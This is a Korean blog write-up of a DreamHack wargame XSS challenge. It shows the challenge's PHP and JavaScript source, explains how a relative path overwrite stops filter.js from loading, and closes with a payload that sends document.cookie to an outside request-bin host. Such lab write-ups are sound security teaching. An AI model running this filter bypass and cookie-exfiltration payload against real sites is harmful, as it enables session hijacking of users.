https://dreamhack.io/wargame/challenges/439
난이도: Level 2
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li>
<li><a href="/?page=report">Report</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
</body>
</html>
경로 조작이 불가능하도록 필터링되어 있는 것을 확인할 수 있습니다.
vuln.php
<script src="filter.js"></script>
<!--var filter = ["script", "on", "frame", "object"]; -->
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
<script src="filter.js"></script> 코드가 포함되어 있고, 유저로부터 입력받은 param 값을 소문자로 변환하여 필터링을 거치는 것을 알 수 있습니다.
Vuln Page에 접속하면, 위와 같은 화면이 나오게 되고, 아래와 같이 네트워크를 확인해 본 결과 filter.js가 실행되고 있었습니다.
filter.js 코드는 index.php와 동일한 경로에 존재하는 코드이기에 Relative Path Overwrite를 사용한다면 filter.js를 우회할 수 있을 것으로 보입니다.
Relative Path Overwrite
http://host3.dreamhack.games:23761/index.php/?page=vuln¶m=dreamhack
이전과 달리, 중간에 index.php 경로를 추가한 결과 filter.js에 대한 내용이 아닌 index.php 코드가 Response 되는 것을 확인할 수 있습니다.
위와 같은 일이 발생하는 이유는 index.php와 filter.js는 같은 디렉터리에 존재하는데 "/index.php/" 경로가 중간에 추가되면서 웹 서버는 "http//domain:port/index.php/" 경로로 인식하여 JS 파일을 찾지 못하기 때문입니다. 그리하여, 필터링되지 않는 일이 발생하게 됩니다.
이 문제의 FLAG를 얻기 위해서는 결과를 받을 곳이 필요하기 때문에 Request Dreamhack Bin에서 결과를 받도록 하였고, Report 페이지에 가서 아래 Payload를 제출하게 되면 Request Dreamhack Bin에서 플래그 값을 얻을 수 있게 됩니다.
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://wdnahva.request.dreamhack.games/"%2bdocument.cookie>
'DreamHack' 카테고리의 다른 글
[DreamHack] CSS Injection (2) | 2023.08.31 |
---|---|
[DreamHack] Relative Path Overwrite Advanced (2) | 2023.08.13 |
[DreamHack] filestorage (0) | 2023.08.10 |
[DreamHack] error-based-sql-injection (0) | 2023.08.09 |
[DreamHack] sql injection bypass WAF Advanced (0) | 2023.08.09 |